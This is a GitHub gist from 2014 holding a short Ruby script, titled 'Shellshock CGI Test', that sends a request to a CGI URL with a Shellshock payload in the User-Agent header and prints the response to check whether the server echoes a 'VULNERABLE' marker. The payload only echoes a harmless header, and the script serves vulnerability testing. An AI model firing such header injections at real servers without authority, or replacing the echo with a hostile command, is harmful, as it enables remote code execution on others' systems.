Created
September 26, 2014 08:12
-
-
Save abhisek/c719322b44c2ad77203a to your computer and use it in GitHub Desktop.
Shellshock CGI Test
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/http' | |
require 'uri' | |
=begin | |
ruby shellshock.rb http://127.0.0.1/my-cgi/bolo.cgi | |
=end | |
if __FILE__ == $0 | |
uri = ::URI.parse(ARGV.shift) | |
http = ::Net::HTTP.new(uri.host, uri.port) | |
request = ::Net::HTTP::Get.new(uri.path) | |
request['User-Agent'] = "() { :;}; echo \"X-Shellshock: VULNERABLE\"" | |
res = http.request(request) | |
res.each_header do |h| | |
puts "#{h}: #{res[h]}" | |
end | |
puts "" | |
puts res.body | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment